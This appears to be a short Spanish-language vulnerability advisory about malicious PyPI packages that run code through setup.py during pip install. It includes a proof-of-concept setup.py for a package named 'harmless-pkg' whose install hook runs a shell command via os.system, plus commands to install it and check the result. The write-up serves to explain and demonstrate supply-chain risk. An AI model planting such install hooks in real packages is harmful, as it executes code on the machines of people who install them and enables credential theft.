CVE-2026-21016 – Hook malicioso de instalación de paquetes PyPI (ejecución de setup.py)

Código del programa (Python)

# setup.py - Malicious package that executes during install
from setuptools import setup
import os

# This runs on pip install
os.system('id > /tmp/pwned_by_package')

setup(
    name='harmless-pkg',
    version='1.0',
    packages=[],
)

CVE-2026-21016 – Hook malicioso de instalación de paquetes PyPI (setup.py)

Resumen

Un paquete de PyPI puede incluir código arbitrario en su setup.py, que se ejecuta durante pip install. Un atacante puede publicar un paquete con un nombre similar al de uno popular (typosquatting) y, al instalarse, el payload se ejecuta con los privilegios del usuario, lo que conduce a una ejecución remota de código.

Detalles de la vulnerabilidad

Tipo: Ataque a la cadena de suministro / Ejecución de código
Impacto: Compromiso del sistema, robo de credenciales.
Causa raíz: Pip ejecuta setup.py sin sandboxing, lo que otorga a los paquetes acceso completo.

Demostración del exploit

Cree el directorio del paquete malicioso con el setup.py proporcionado.
Instálelo localmente:
```
pip install ./harmless-pkg
```
Compruebe la salida:
```
cat /tmp/pwned_by_package
```

Se ejecutó el comando id.

CVE-2026-21016-Malicious-PyPI-Package-Install-Hook-setup.py-Execution-

Más Populares